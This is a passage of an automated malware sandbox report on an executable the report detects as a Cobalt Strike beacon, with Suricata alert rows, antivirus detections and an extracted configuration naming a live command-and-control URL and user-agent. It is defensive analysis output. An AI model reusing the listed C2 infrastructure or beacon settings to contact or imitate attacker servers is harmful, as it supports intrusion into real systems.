2024-10-01T09:20:01.623607+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49890	8.130.42.227	10001	TCP
2024-10-01T09:20:02.745260+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49891	8.130.42.227	10001	TCP
2024-10-01T09:20:03.807192+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49892	8.130.42.227	10001	TCP
2024-10-01T09:20:04.885627+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49893	8.130.42.227	10001	TCP
2024-10-01T09:20:05.944846+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49894	8.130.42.227	10001	TCP
2024-10-01T09:20:07.026432+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49895	8.130.42.227	10001	TCP
2024-10-01T09:20:08.116543+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49896	8.130.42.227	10001	TCP
2024-10-01T09:20:09.189258+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49897	8.130.42.227	10001	TCP
2024-10-01T09:20:10.271995+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49898	8.130.42.227	10001	TCP
2024-10-01T09:20:11.341983+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49899	8.130.42.227	10001	TCP
2024-10-01T09:20:13.189833+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49900	8.130.42.227	10001	TCP
2024-10-01T09:20:14.262971+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49901	8.130.42.227	10001	TCP
2024-10-01T09:20:15.316609+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49902	8.130.42.227	10001	TCP
2024-10-01T09:20:16.386558+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49903	8.130.42.227	10001	TCP
2024-10-01T09:20:17.480378+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49904	8.130.42.227	10001	TCP
2024-10-01T09:20:18.554731+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49905	8.130.42.227	10001	TCP
2024-10-01T09:20:19.621581+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49906	8.130.42.227	10001	TCP
2024-10-01T09:20:21.232159+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49907	8.130.42.227	10001	TCP
2024-10-01T09:20:22.303033+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49908	8.130.42.227	10001	TCP
2024-10-01T09:20:23.376704+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49909	8.130.42.227	10001	TCP
2024-10-01T09:20:24.495821+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49910	8.130.42.227	10001	TCP
2024-10-01T09:20:25.565805+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49911	8.130.42.227	10001	TCP
2024-10-01T09:20:26.660847+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49912	8.130.42.227	10001	TCP
2024-10-01T09:20:27.739974+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49913	8.130.42.227	10001	TCP
2024-10-01T09:20:28.809816+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49914	8.130.42.227	10001	TCP
2024-10-01T09:20:29.972968+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49915	8.130.42.227	10001	TCP
2024-10-01T09:20:31.062763+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49916	8.130.42.227	10001	TCP
2024-10-01T09:20:32.150805+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49917	8.130.42.227	10001	TCP
2024-10-01T09:20:36.248804+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49918	8.130.42.227	10001	TCP
2024-10-01T09:20:37.336700+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49919	8.130.42.227	10001	TCP
2024-10-01T09:20:38.408916+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49920	8.130.42.227	10001	TCP
2024-10-01T09:20:40.072859+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49921	8.130.42.227	10001	TCP
2024-10-01T09:20:41.148707+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49922	8.130.42.227	10001	TCP
2024-10-01T09:20:42.228856+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49923	8.130.42.227	10001	TCP
2024-10-01T09:20:43.308659+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49924	8.130.42.227	10001	TCP
2024-10-01T09:20:44.388802+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49925	8.130.42.227	10001	TCP
2024-10-01T09:20:45.452971+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49926	8.130.42.227	10001	TCP
2024-10-01T09:20:46.532833+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49927	8.130.42.227	10001	TCP
2024-10-01T09:20:47.631726+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49928	8.130.42.227	10001	TCP
2024-10-01T09:20:48.726981+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49929	8.130.42.227	10001	TCP
2024-10-01T09:20:49.782566+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49930	8.130.42.227	10001	TCP
2024-10-01T09:20:50.869027+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49931	8.130.42.227	10001	TCP
2024-10-01T09:20:52.939150+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49932	8.130.42.227	10001	TCP
2024-10-01T09:20:54.010943+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49933	8.130.42.227	10001	TCP
2024-10-01T09:20:55.078196+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49934	8.130.42.227	10001	TCP
2024-10-01T09:20:56.320815+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49935	8.130.42.227	10001	TCP
2024-10-01T09:20:57.479719+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49936	8.130.42.227	10001	TCP
2024-10-01T09:20:58.539468+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49937	8.130.42.227	10001	TCP
2024-10-01T09:20:59.608844+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49938	8.130.42.227	10001	TCP
2024-10-01T09:21:00.694909+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49939	8.130.42.227	10001	TCP
2024-10-01T09:21:01.773785+0200	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49940	8.130.42.227	10001	TCP

ET MALWARE Successful Cobalt Strike Shellcode Download (x64) M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T09:16:59.037379+0200	2035442	1	A Network Trojan was detected	8.130.42.227	10001	192.168.2.4	49730	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 7kSftA4Eoh.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: CobaltStrike {"C2Server": "http://8.130.42.227:10001/2yMe", "User Agent": "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)\r\n"}
Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Metasploit {"Headers": "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)\r\n", "Type": "Metasploit Download", "URL": "http://8.130.42.227/2yMe"}

Multi AV Scanner detection for domain / URL

Source: http://8.130.42.227:10001/2yMe

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: 7kSftA4Eoh.exe	ReversingLabs: Detection: 89%
Source: 7kSftA4Eoh.exe	Virustotal: Detection: 79%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 7kSftA4Eoh.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_00991184 CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		0_2_00991184
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009BE020 CryptGenRandom,		0_2_009BE020

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Unpacked PE file: 0.2.7kSftA4Eoh.exe.990000.1.unpack

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A0ED4 malloc,GetCurrentDirectoryA,FindFirstFileA,GetLastError,free,free,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_009A0ED4
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A779C malloc,_snprintf,FindFirstFileA,free,malloc,_snprintf,free,FindNextFileA,FindClose,		0_2_009A779C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49732 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49740 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49736 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49751 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49772 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49731 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49765 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49779 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49757 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49763 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49759 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49769 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49758 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49744 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49755 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49798 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49793 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49762 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49801 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49756 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49780 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2035442 - Severity 1 - ET MALWARE Successful Cobalt Strike Shellcode Download (x64) M1 : 8.130.42.227:10001 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49752 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49804 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49737 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49800 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49807 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49749 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49738 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49818 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49760 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49733 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49742 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49827 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49770 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49739 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49782 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49823 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49767 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49836 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49844 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49832 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49735 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49820 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49786 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49797 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49819 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49773 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49775 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49794 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49816 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49774 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49843 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49795 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49839 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49747 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49785 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49817 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49833 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49838 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49848 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49734 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49828 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49851 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49845 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49841 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49863 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49799 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49771 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49859 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49873 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49865 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49867 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49847 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49834 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49876 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49879 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49821 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49871 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49883 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49878 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49805 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49882 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49855 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49768 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49875 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49868 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49789 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49764 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49790 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49885 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49856 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49784 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49857 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49894 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49881 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49860 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49783 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49777 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49904 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49753 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49884 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49803 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49903 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49922 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49787 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49895 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49917 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49835 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49840 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49887 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49810 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49909 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49788 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49900 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49870 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49866 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49933 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49796 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49921 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49888 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49891 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49905 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49877 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49902 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49874 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49814 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49912 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49940 -> 8.130.42.227:10001
